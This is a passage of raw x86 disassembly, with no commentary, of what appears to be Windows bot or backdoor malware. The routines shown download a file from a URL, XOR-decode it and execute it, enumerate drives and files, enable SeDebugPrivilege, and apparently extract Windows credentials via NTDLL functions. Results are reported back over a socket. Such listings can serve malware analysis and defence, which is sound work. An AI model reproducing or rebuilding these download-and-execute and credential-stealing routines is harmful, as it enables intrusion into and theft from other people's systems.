unk_437C60 push eax call sub_41B886 add esp, 14h loc_41639B: ; CODE XREF: sub_4161BC+DEj cmp [ebp+var_14], ebx jnz short loc_4163C0 push ebx lea eax, [ebp+var_4C4] push [ebp+var_18] push eax lea eax, [ebp+var_A0] push eax push [ebp+var_1C0] call sub_409A72 add esp, 14h loc_4163C0: ; CODE XREF: sub_4161BC+1E2j lea eax, [ebp+var_4C4] push eax call sub_4151AC cmp [ebp+var_4], ebx pop ecx jz short loc_4163DB push [ebp+var_4] call sub_41B05B pop ecx loc_4163DB: ; CODE XREF: sub_4161BC+214j cmp [ebp+arg_0], ebx jbe short loc_4163E9 push [ebp+arg_0] call dword_4CB6CC ; closesocket loc_4163E9: ; CODE XREF: sub_4161BC+222j push [ebp+var_1C] call sub_40B412 pop ecx push ebx call dword_4270CC ; ExitThread sub_4161BC endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4163F9 proc near ; DATA XREF: sub_401ACD+6279o ; sub_401ACD+6AB9o var_590 = qword ptr -590h var_584 = qword ptr -584h var_510 = byte ptr -510h var_310 = dword ptr -310h var_304 = dword ptr -304h var_2E4 = dword ptr -2E4h var_2E0 = word ptr -2E0h var_2CC = dword ptr -2CCh var_2C8 = byte ptr -2C8h var_248 = byte ptr -248h var_148 = byte ptr -148h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_24 = byte ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = byte ptr -10h var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 510h mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0AAh mov esi, eax lea edi, [ebp+var_2CC] push 1 rep movsd pop edi xor esi, esi push esi mov [eax+2A4h], edi push esi push esi lea eax, [ebp+var_248] push esi push eax push dword_4CB5E4 call dword_4CB538 ; InternetOpenUrlA cmp eax, esi mov [ebp+var_18], eax jz loc_416885 push esi push esi push 2 push esi push esi lea eax, [ebp+var_148] push 40000000h push eax call dword_4270EC ; CreateFileA cmp eax, edi mov [ebp+var_20], eax jnb short loc_4164C0 lea eax, [ebp+var_148] push eax lea eax, [ebp+var_510] push offset unk_437EA8 push eax call sub_41B886 add esp, 0Ch cmp [ebp+var_30], esi jnz short loc_4164A3 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_409A72 add esp, 14h loc_4164A3: ; CODE XREF: sub_4163F9+88j lea eax, [ebp+var_510] push eax call sub_4151AC push [ebp+var_48] call sub_40B412 pop ecx pop ecx push esi call dword_4270CC ; ExitThread loc_4164C0: ; CODE XREF: sub_4163F9+68j xor edi, edi call dword_4270A8 ; GetTickCount mov ebx, 7D000h mov dword ptr [ebp+var_8+4], eax push ebx call sub_41B4D5 pop ecx mov [ebp+var_1C], eax loc_4164DA: ; CODE XREF: sub_4163F9+1B4j push 200h lea eax, [ebp+var_510] push esi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_510] push 200h push eax push [ebp+var_18] call dword_4CB540 ; InternetReadFile cmp [ebp+var_34], esi jz short loc_41651E push [ebp+arg_0] lea eax, [ebp+var_510] push eax call sub_4168EB pop ecx pop ecx loc_41651E: ; CODE XREF: sub_4163F9+112j lea eax, [ebp+var_24] push esi push eax lea eax, [ebp+var_510] push [ebp+arg_0] push eax push [ebp+var_20] call dword_4270E0 ; WriteFile cmp edi, ebx jnb short loc_41655C mov eax, ebx sub eax, edi cmp eax, [ebp+arg_0] jbe short loc_416546 mov eax, [ebp+arg_0] loc_416546: ; CODE XREF: sub_4163F9+148j push eax lea eax, [ebp+var_510] push eax mov eax, [ebp+var_1C] add eax, edi push eax call sub_41C310 add esp, 0Ch loc_41655C: ; CODE XREF: sub_4163F9+13Fj add edi, [ebp+arg_0] cmp [ebp+var_3C], esi jz short loc_416569 cmp edi, [ebp+var_3C] ja short loc_4165B3 loc_416569: ; CODE XREF: sub_4163F9+169j cmp [ebp+var_44], 1 mov eax, edi jz short loc_416583 shr eax, 0Ah push eax lea eax, [ebp+var_248] push eax push offset unk_437E80 jmp short loc_416593 ; --------------------------------------------------------------------------- loc_416583: ; CODE XREF: sub_4163F9+176j shr eax, 0Ah push eax lea eax, [ebp+var_248] push eax push offset unk_437E58 loc_416593: ; CODE XREF: sub_4163F9+188j mov eax, [ebp+var_48] imul eax, 234h add eax, offset dword_43E370 push eax call sub_41B886 add esp, 10h cmp [ebp+arg_0], esi ja loc_4164DA loc_4165B3: ; CODE XREF: sub_4163F9+16Ej cmp [ebp+var_3C], esi mov [ebp+var_14], 1 jz short loc_416608 cmp edi, [ebp+var_3C] jz short loc_416608 push [ebp+var_3C] lea eax, [ebp+var_510] mov [ebp+var_14], esi push edi push offset unk_437E2C push eax call sub_41B886 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_409A72 lea eax, [ebp+var_510] push eax call sub_4151AC add esp, 28h loc_416608: ; CODE XREF: sub_4163F9+1C4j ; sub_4163F9+1C9j call dword_4270A8 ; GetTickCount sub eax, dword ptr [ebp+var_8+4] xor edx, edx mov ecx, 3E8h push [ebp+var_20] div ecx xor edx, edx mov ecx, eax mov eax, edi inc ecx div ecx mov ebx, eax call dword_427068 ; CloseHandle push [ebp+var_1C] call sub_41B0B1 cmp [ebp+var_38], esi pop ecx jz short loc_416692 lea eax, [ebp+var_148] push eax call sub_4010AB cmp eax, [ebp+var_38] pop ecx jz short loc_416692 push [ebp+var_38] mov [ebp+var_14], esi push eax lea eax, [ebp+var_510] push offset unk_437E04 push eax call sub_41B886 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_409A72 lea eax, [ebp+var_510] push eax call sub_4151AC add esp, 28h loc_416692: ; CODE XREF: sub_4163F9+241j ; sub_4163F9+253j cmp [ebp+var_14], esi jz loc_4168D2 cmp [ebp+var_44], 1 jz loc_41678D mov dword ptr [ebp+var_8], ebx mov dword ptr [ebp+var_8+4], esi fild [ebp+var_8] push ecx push ecx mov dword ptr [ebp+var_8], edi mov dword ptr [ebp+var_8+4], esi fmul dbl_4276B0 lea eax, [ebp+var_148] fstp [esp+584h+var_584] fild [ebp+var_8] push eax push ecx push ecx lea eax, [ebp+var_510] fmul dbl_4276B0 fstp [esp+590h+var_590] push offset unk_437DCC push eax call sub_41B886 add esp, 1Ch cmp [ebp+var_30], esi jnz short loc_41670D push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_409A72 add esp, 14h loc_41670D: ; CODE XREF: sub_4163F9+2F2j lea eax, [ebp+var_510] push eax call sub_4151AC cmp [ebp+var_40], 1 pop ecx jnz loc_4168D2 push 5 push esi lea eax, [ebp+var_148] push esi push eax push offset aOpen ; "open" push esi call dword_4CB5A0 cmp [ebp+var_30], esi jnz loc_4168D2 lea eax, [ebp+var_148] push eax lea eax, [ebp+var_510] push offset dword_437DB0 push eax call sub_41B886 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_409A72 lea eax, [ebp+var_510] push eax call sub_4151AC add esp, 24h jmp loc_4168D2 ; --------------------------------------------------------------------------- loc_41678D: ; CODE XREF: sub_4163F9+2A6j mov dword ptr [ebp+var_8], ebx mov dword ptr [ebp+var_8+4], esi fild [ebp+var_8] push ecx push ecx mov dword ptr [ebp+var_8], edi mov dword ptr [ebp+var_8+4], esi fmul dbl_4276B0 lea eax, [ebp+var_148] fstp [esp+584h+var_584] fild [ebp+var_8] push eax push ecx push ecx lea eax, [ebp+var_510] fmul dbl_4276B0 fstp [esp+590h+var_590] push offset unk_437D6C push eax call sub_41B886 add esp, 1Ch cmp [ebp+var_30], esi jnz short loc_4167F5 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_409A72 add esp, 14h loc_4167F5: ; CODE XREF: sub_4163F9+3DAj lea eax, [ebp+var_510] push eax call sub_4151AC push 10h lea eax, [ebp+var_10] push esi push eax call sub_41B590 push 44h lea eax, [ebp+var_310] pop edi push edi push esi push eax call sub_41B590 add esp, 1Ch mov [ebp+var_310], edi lea eax, [ebp+var_10] mov [ebp+var_304], offset byte_43D7E8 push 1 mov [ebp+var_2E0], si pop edi push eax lea eax, [ebp+var_310] push eax push esi push esi push 28h push esi push esi lea eax, [ebp+var_148] push esi push eax push esi mov [ebp+var_2E4], edi call dword_42706C ; CreateProcessA cmp eax, edi jnz short loc_416877 call dword_4CB58C ; WSACleanup call sub_418359 push esi call dword_427064 ; ExitProcess loc_416877: ; CODE XREF: sub_4163F9+46Aj lea eax, [ebp+var_148] push eax push offset unk_437D38 jmp short loc_416891 ; --------------------------------------------------------------------------- loc_416885: ; CODE XREF: sub_4163F9+45j lea eax, [ebp+var_248] push eax push offset unk_437D0C loc_416891: ; CODE XREF: sub_4163F9+48Aj lea eax, [ebp+var_510] push eax call sub_41B886 add esp, 0Ch cmp [ebp+var_30], esi jnz short loc_4168C5 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_409A72 add esp, 14h loc_4168C5: ; CODE XREF: sub_4163F9+4AAj lea eax, [ebp+var_510] push eax call sub_4151AC pop ecx loc_4168D2: ; CODE XREF: sub_4163F9+29Cj ; sub_4163F9+325j ... push [ebp+var_18] call dword_4CB668 ; InternetCloseHandle push [ebp+var_48] call sub_40B412 pop ecx push esi call dword_4270CC ; ExitThread sub_4163F9 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4168EB proc near ; CODE XREF: sub_4163F9+11Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] xor ecx, ecx cmp [esp+arg_4], ecx jle short locret_416907 loc_4168F7: ; CODE XREF: sub_4168EB+1Aj mov dl, byte_429094 xor [ecx+eax], dl inc ecx cmp ecx, [esp+arg_4] jl short loc_4168F7 locret_416907: ; CODE XREF: sub_4168EB+Aj retn sub_4168EB endp ; =============== S U B R O U T I N E ======================================= sub_416908 proc near ; CODE XREF: sub_401ACD+5841p ; sub_401ACD+5969p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_41D3BE pop ecx pop ecx xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl mov eax, ecx retn sub_416908 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416922 proc near ; CODE XREF: sub_40F96A+458p ; sub_40F96A+5FDp ... var_38 = byte ptr -38h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 38h and [ebp+var_4], 0 push ebx push esi push edi push 32h mov edi, offset dword_4D3268 push 0 push edi call sub_41B590 mov ebx, [ebp+arg_0] add esp, 0Ch lea esi, [ebp+var_38] loc_416947: ; CODE XREF: sub_416922+5Bj ; sub_416922+61j push 0 push 0Ah push [ebp+arg_4] push ebx call sub_41D480 push 0 push 0Ah push [ebp+arg_4] add al, 30h mov [esi], al inc esi push ebx call sub_41D410 mov ebx, eax or eax, edx mov [ebp+arg_4], edx jz short loc_416985 inc [ebp+var_4] push 3 mov eax, [ebp+var_4] pop ecx cdq idiv ecx test edx, edx jnz short loc_416947 mov byte ptr [esi], 2Ch inc esi jmp short loc_416947 ; --------------------------------------------------------------------------- loc_416985: ; CODE XREF: sub_416922+4Bj dec esi mov eax, edi loc_416988: ; CODE XREF: sub_416922+73j lea ecx, [ebp+var_38] cmp esi, ecx jb short loc_416997 mov cl, [esi] mov [eax], cl inc eax dec esi jmp short loc_416988 ; --------------------------------------------------------------------------- loc_416997: ; CODE XREF: sub_416922+6Bj and byte ptr [eax], 0 mov eax, edi pop edi pop esi pop ebx leave retn sub_416922 endp ; =============== S U B R O U T I N E ======================================= sub_4169A1 proc near ; CODE XREF: sub_416B56+51p ; sub_416B56+87p arg_0 = dword ptr 4 push [esp+arg_0] call dword_4CB694 ; GetDriveTypeA sub eax, 0 jz short loc_4169E4 dec eax jz short loc_4169DE dec eax dec eax jz short loc_4169D8 dec eax jz short loc_4169D2 dec eax jz short loc_4169CC dec eax jz short loc_4169C6 mov eax, offset word_437EFC retn ; --------------------------------------------------------------------------- loc_4169C6: ; CODE XREF: sub_4169A1+1Dj mov eax, offset off_437EF8 retn ; --------------------------------------------------------------------------- loc_4169CC: ; CODE XREF: sub_4169A1+1Aj mov eax, offset aCdrom ; "Cdrom" retn ; --------------------------------------------------------------------------- loc_4169D2: ; CODE XREF: sub_4169A1+17j mov eax, offset aNetwork ; "Network" retn ; --------------------------------------------------------------------------- loc_4169D8: ; CODE XREF: sub_4169A1+14j mov eax, offset aDisk ; "Disk" retn ; --------------------------------------------------------------------------- loc_4169DE: ; CODE XREF: sub_4169A1+10j mov eax, offset aInvalid ; "Invalid" retn ; --------------------------------------------------------------------------- loc_4169E4: ; CODE XREF: sub_4169A1+Dj mov eax, offset aUnknown ; "Unknown" retn sub_4169A1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4169EA proc near ; CODE XREF: sub_416A32+12p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h or eax, 0FFFFFFFFh mov [ebp+var_18], eax mov [ebp+var_14], eax mov [ebp+var_10], eax mov [ebp+var_C], eax mov [ebp+var_8], eax mov [ebp+var_4], eax mov eax, dword_4CB524 test eax, eax jz short loc_416A1F lea ecx, [ebp+var_10] push ecx lea ecx, [ebp+var_8] push ecx lea ecx, [ebp+var_18] push ecx push [ebp+arg_4] call eax ; GetDiskFreeSpaceExA loc_416A1F: ; CODE XREF: sub_4169EA+22j mov eax, [ebp+arg_0] push esi push edi push 6 pop ecx lea esi, [ebp+var_18] mov edi, eax rep movsd pop edi pop esi leave retn sub_4169EA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416A32 proc near ; CODE XREF: sub_416B56+17p ; sub_41AA42+1F3p var_198 = byte ptr -198h var_118 = byte ptr -118h var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 198h push esi push edi push [ebp+arg_4] lea eax, [ebp+var_18] push eax call sub_4169EA pop ecx mov esi, eax pop ecx lea edi, [ebp+var_18] push 6 pop ecx rep movsd mov eax, [ebp+var_18] and eax, [ebp+var_14] cmp eax, 0FFFFFFFFh jz loc_416B10 mov eax, [ebp+var_10] and eax, [ebp+var_C] cmp eax, 0FFFFFFFFh jz loc_416B10 mov eax, [ebp+var_8] and eax, [ebp+var_4] cmp eax, 0FFFFFFFFh jz loc_416B10 push ebx mov ebx, 400h push 0 push ebx push [ebp+var_14] push [ebp+var_18] call sub_41D500 push edx push eax call sub_416922 pop ecx mov edi, offset aSkb ; "%sKB" pop ecx mov esi, 80h push eax push edi lea eax, [ebp+var_198] push esi push eax call sub_41B980 add esp, 10h push 0 push ebx push [ebp+var_C] push [ebp+var_10] call sub_41D500 push edx push eax call sub_416922 pop ecx pop ecx push eax push edi lea eax, [ebp+var_118] push esi push eax call sub_41B980 add esp, 10h push 0 push ebx push [ebp+var_4] push [ebp+var_8] call sub_41D500 push edx push eax call sub_416922 pop ecx pop ecx push eax push edi lea eax, [ebp+var_98] push esi push eax call sub_41B980 add esp, 10h pop ebx jmp short loc_416B42 ; --------------------------------------------------------------------------- loc_416B10: ; CODE XREF: sub_416A32+2Cj ; sub_416A32+3Bj ... mov esi, offset aFailed ; "failed" lea eax, [ebp+var_198] push esi push eax call sub_41B886 pop ecx lea eax, [ebp+var_118] pop ecx push esi push eax call sub_41B886 pop ecx lea eax, [ebp+var_98] pop ecx push esi push eax call sub_41B886 pop ecx pop ecx loc_416B42: ; CODE XREF: sub_416A32+DCj mov eax, [ebp+arg_0] push 60h pop ecx lea esi, [ebp+var_198] mov edi, eax rep movsd pop edi pop esi leave retn sub_416A32 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416B56 proc near ; CODE XREF: sub_416C28+17p ; sub_416C28+60p var_500 = byte ptr -500h var_300 = byte ptr -300h var_180 = byte ptr -180h var_100 = byte ptr -100h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 500h push ebx mov ebx, [ebp+arg_C] push esi push edi lea eax, [ebp+var_300] push ebx push eax call sub_416A32 push 60h mov esi, eax pop ecx lea edi, [ebp+var_300] rep movsd push 60h lea esi, [ebp+var_300] pop ecx lea edi, [ebp+var_180] lea eax, [ebp+var_80] push offset aFailed ; "failed" rep movsd push eax call sub_41C070 add esp, 10h test eax, eax jnz short loc_416BC9 push ebx push ebx call sub_4169A1 pop ecx push eax push offset unk_437F4C lea eax, [ebp+var_500] push 200h push eax call sub_41B980 add esp, 14h jmp short loc_416BFD ; --------------------------------------------------------------------------- loc_416BC9: ; CODE XREF: sub_416B56+4Dj lea eax, [ebp+var_180] push eax lea eax, [ebp+var_100] push eax lea eax, [ebp+var_80] push eax push ebx push ebx call sub_4169A1 pop ecx push eax push offset unk_437F10 lea eax, [ebp+var_500] push 200h push eax call sub_41B980 add esp, 20h loc_416BFD: ; CODE XREF: sub_416B56+71j push 1 lea eax, [ebp+var_500] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_500] push eax call sub_4151AC add esp, 18h pop edi pop esi pop ebx leave retn sub_416B56 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416C28 proc near ; CODE XREF: sub_401ACD+2553p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx xor ebx, ebx cmp [ebp+arg_C], ebx jz short loc_416C49 push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_416B56 add esp, 10h jmp short loc_416CAA ; --------------------------------------------------------------------------- loc_416C49: ; CODE XREF: sub_416C28+9j push esi push edi push ebx push ebx call dword_4CB59C ; GetLogicalDriveStringsA lea esi, [eax+2] push esi call sub_41B4D5 pop ecx mov edi, eax push edi push esi call dword_4CB59C ; GetLogicalDriveStringsA cmp [edi], bl mov esi, edi jz short loc_416CA1 loc_416C6D: ; CODE XREF: sub_416C28+77j push offset aA_2 ; "A:\\" push esi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_416C90 push esi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_416B56 add esp, 10h loc_416C90: ; CODE XREF: sub_416C28+54j push esi call sub_41AFE0 cmp [esi+eax+1], bl lea esi, [esi+eax+1] pop ecx jnz short loc_416C6D loc_416CA1: ; CODE XREF: sub_416C28+43j push edi call sub_41B0B1 pop ecx pop edi pop esi loc_416CAA: ; CODE XREF: sub_416C28+1Fj pop ebx pop ebp retn sub_416C28 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416CAD proc near ; DATA XREF: sub_401ACD+689Fo var_49C = byte ptr -49Ch var_29C = dword ptr -29Ch var_298 = byte ptr -298h var_218 = byte ptr -218h var_115 = byte ptr -115h var_114 = byte ptr -114h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 49Ch mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0A7h mov esi, eax lea edi, [ebp+var_29C] rep movsd mov dword ptr [eax+298h], 1 lea eax, [ebp+var_114] push eax call sub_41AFE0 xor ebx, ebx cmp [ebp+eax+var_115], 5Ch pop ecx jnz short loc_416D02 lea eax, [ebp+var_114] push eax call sub_41AFE0 pop ecx mov [ebp+eax+var_115], bl loc_416D02: ; CODE XREF: sub_416CAD+3Fj lea eax, [ebp+var_218] push eax push offset unk_437FAC lea eax, [ebp+var_49C] push 200h push eax call sub_41B980 add esp, 10h cmp [ebp+var_8], ebx jnz short loc_416D47 push ebx lea eax, [ebp+var_49C] push [ebp+var_C] push eax lea eax, [ebp+var_298] push eax push [ebp+var_29C] call sub_409A72 add esp, 14h loc_416D47: ; CODE XREF: sub_416CAD+78j lea eax, [ebp+var_114] push ebx push eax lea eax, [ebp+var_218] push eax lea eax, [ebp+var_298] push [ebp+var_C] push eax push [ebp+var_29C] call sub_416DC8 add esp, 18h push eax lea eax, [ebp+var_49C] push offset dword_437F8C push eax call sub_41B886 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_416DA8 push ebx lea eax, [ebp+var_49C] push [ebp+var_C] push eax lea eax, [ebp+var_298] push eax push [ebp+var_29C] call sub_409A72 add esp, 14h loc_416DA8: ; CODE XREF: sub_416CAD+D9j lea eax, [ebp+var_49C] push eax call sub_4151AC push [ebp+var_10] call sub_40B412 pop ecx pop ecx push ebx call dword_4270CC ; ExitThread pop edi pop esi pop ebx sub_416CAD endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416DC8 proc near ; CODE XREF: sub_416CAD+B9p ; sub_416DC8+9Ep var_54C = byte ptr -54Ch var_34C = byte ptr -34Ch var_248 = byte ptr -248h var_144 = byte ptr -144h var_118 = byte ptr -118h var_117 = byte ptr -117h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 54Ch push ebx push esi push edi mov esi, 104h push [ebp+arg_10] lea eax, [ebp+var_248] push offset dword_437FF0 push esi push eax call sub_41B980 mov edi, dword_427000 add esp, 10h lea eax, [ebp+var_144] push eax lea eax, [ebp+var_248] push eax call edi ; FindFirstFileA cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax mov ebx, offset dword_429A90 jz short loc_416E85 loc_416E14: ; CODE XREF: sub_416DC8+BBj test [ebp+var_144], 10h jz short loc_416E71 cmp [ebp+var_118], 2Eh jnz short loc_416E38 cmp [ebp+var_117], 0 jz short loc_416E71 cmp [ebp+var_117], 2Eh jz short loc_416E71 loc_416E38: ; CODE XREF: sub_416DC8+5Cj lea eax, [ebp+var_118] push eax lea eax, [ebp+var_34C] push [ebp+arg_10] push ebx push esi push eax call sub_41B980 push [ebp+arg_14] lea eax, [ebp+var_34C] push eax push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_416DC8 add esp, 2Ch mov [ebp+arg_14], eax loc_416E71: ; CODE XREF: sub_416DC8+53j ; sub_416DC8+65j ... lea eax, [ebp+var_144] push eax push [ebp+var_4] call dword_427118 ; FindNextFileA test eax, eax jnz short loc_416E14 loc_416E85: ; CODE XREF: sub_416DC8+4Aj push [ebp+var_4] call dword_42710C ; FindClose push [ebp+arg_C] lea eax, [ebp+var_248] push [ebp+arg_10] push ebx push esi push eax call sub_41B980 add esp, 14h lea eax, [ebp+var_144] push eax lea eax, [ebp+var_248] push eax call edi ; FindFirstFileA mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_416F0B loc_416EBC: ; CODE XREF: sub_416DC8+141j lea eax, [ebp+var_118] inc [ebp+arg_14] push eax lea eax, [ebp+var_54C] push [ebp+arg_10] push offset dword_437FD4 push 200h push eax call sub_41B980 push 1 lea eax, [ebp+var_54C] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 28h lea eax, [ebp+var_144] push eax push esi call dword_427118 ; FindNextFileA test eax, eax jnz short loc_416EBC loc_416F0B: ; CODE XREF: sub_416DC8+F2j push esi call dword_42710C ; FindClose mov eax, [ebp+arg_14] pop edi pop esi pop ebx leave retn sub_416DC8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416F1A proc near ; DATA XREF: sub_401ACD+1CCFo var_29C = byte ptr -29Ch var_9C = dword ptr -9Ch var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 29Ch mov eax, [ebp+arg_0] push esi push edi push 25h pop ecx mov esi, eax lea edi, [ebp+var_9C] push 1 rep movsd pop esi mov [eax+90h], esi call sub_41A8F4 cmp eax, esi mov [ebp+var_4], eax jz short loc_416F59 cmp eax, 2 jz short loc_416F59 push offset unk_4381C8 jmp loc_417098 ; --------------------------------------------------------------------------- loc_416F59: ; CODE XREF: sub_416F1A+2Ej ; sub_416F1A+33j push esi push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419651 pop ecx test eax, eax pop ecx jz loc_417093 push ebx push offset aNtdll_dll ; "NTDLL.DLL" call dword_4270B8 ; LoadLibraryA mov esi, dword_4270BC mov edi, eax push offset aNtquerysystemi ; "NtQuerySystemInformation" push edi mov [ebp+var_8], edi call esi ; GetProcAddress push offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer" push edi mov dword_4D44AC, eax call esi ; GetProcAddress push offset aRtlqueryproces ; "RtlQueryProcessDebugInformation" push edi mov dword_4D44A0, eax call esi ; GetProcAddress push offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer" push edi mov dword_4D46B0, eax call esi ; GetProcAddress push offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString" push edi mov dword_4D44A8, eax call esi ; GetProcAddress mov dword_4D44A4, eax call sub_4170EC test eax, eax mov [ebp+arg_0], eax jz loc_417066 mov esi, dword_42713C mov edi, 400h mov ebx, offset dword_4D34A0 push edi push ebx push offset aUsername ; "USERNAME" call esi ; GetEnvironmentVariableW push edi mov edi, offset dword_4D3CA0 push edi push offset aUserdomain ; "USERDOMAIN" call esi ; GetEnvironmentVariableW cmp [ebp+var_4], 1 push offset dword_4D46B8 push [ebp+arg_0] jnz short loc_417012 call sub_417275 jmp short loc_417017 ; --------------------------------------------------------------------------- loc_417012: ; CODE XREF: sub_416F1A+EFj call sub_41741C loc_417017: ; CODE XREF: sub_416F1A+F6j pop ecx test eax, eax pop ecx jz short loc_41705F cmp dword_4D46B8, 0 jnz short loc_417046 push ebx push edi push [ebp+arg_0] lea eax, [ebp+var_29C] push offset unk_438090 push 200h push eax call sub_41B980 add esp, 18h jmp short loc_417079 ; --------------------------------------------------------------------------- loc_417046: ; CODE XREF: sub_416F1A+10Aj cmp [ebp+var_4], 1 push [ebp+arg_0] jnz short loc_417056 call sub_417552 jmp short loc_41705B ; --------------------------------------------------------------------------- loc_417056: ; CODE XREF: sub_416F1A+133j call sub_4175E9 loc_41705B: ; CODE XREF: sub_416F1A+13Aj pop ecx push eax jmp short loc_41706B ; --------------------------------------------------------------------------- loc_41705F: ; CODE XREF: sub_416F1A+101j push offset unk_438058 jmp short loc_41706B ; --------------------------------------------------------------------------- loc_417066: ; CODE XREF: sub_416F1A+B6j push offset unk_43802C loc_41706B: ; CODE XREF: sub_416F1A+143j ; sub_416F1A+14Aj lea eax, [ebp+var_29C] push eax call sub_41B886 pop ecx pop ecx loc_417079: ; CODE XREF: sub_416F1A+12Aj push 0 push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419651 pop ecx pop ecx push [ebp+var_8] call dword_427138 ; FreeLibrary pop ebx jmp short loc_4170A6 ; --------------------------------------------------------------------------- loc_417093: ; CODE XREF: sub_416F1A+4Ej push offset unk_437FF8 loc_417098: ; CODE XREF: sub_416F1A+3Aj lea eax, [ebp+var_29C] push eax call sub_41B886 pop ecx pop ecx loc_4170A6: ; CODE XREF: sub_416F1A+177j xor esi, esi cmp [ebp+var_10], esi jnz short loc_4170CD push esi lea eax, [ebp+var_29C] push [ebp+var_14] push eax lea eax, [ebp+var_98] push eax push [ebp+var_9C] call sub_409A72 add esp, 14h loc_4170CD: ; CODE XREF: sub_416F1A+191j lea eax, [ebp+var_29C] push eax call sub_4151AC push [ebp+var_18] call sub_40B412 pop ecx pop ecx push esi call dword_4270CC ; ExitThread pop edi pop esi sub_416F1A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4170EC proc near ; CODE XREF: sub_416F1A+ACp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 sub esp, 18h and [esp+18h+var_4], 0 and [esp+18h+var_14], 0 push ebx push ebp push esi mov esi, dword_427148 mov ebx, 100h push edi push ebx push 8 call esi ; GetProcessHeap mov edi, dword_427144 push eax call edi ; RtlAllocateHeap mov ebp, eax lea eax, [esp+28h+var_14] push eax push ebx push ebp push 10h call dword_4D44AC push ebp push 0 call esi ; GetProcessHeap push eax call dword_427140 ; RtlFreeHeap push [esp+28h+var_14] push 8 call esi ; GetProcessHeap push eax call edi ; RtlAllocateHeap mov ebp, eax mov eax, [esp+28h+var_14] lea ecx, [esp+28h+var_C] mov 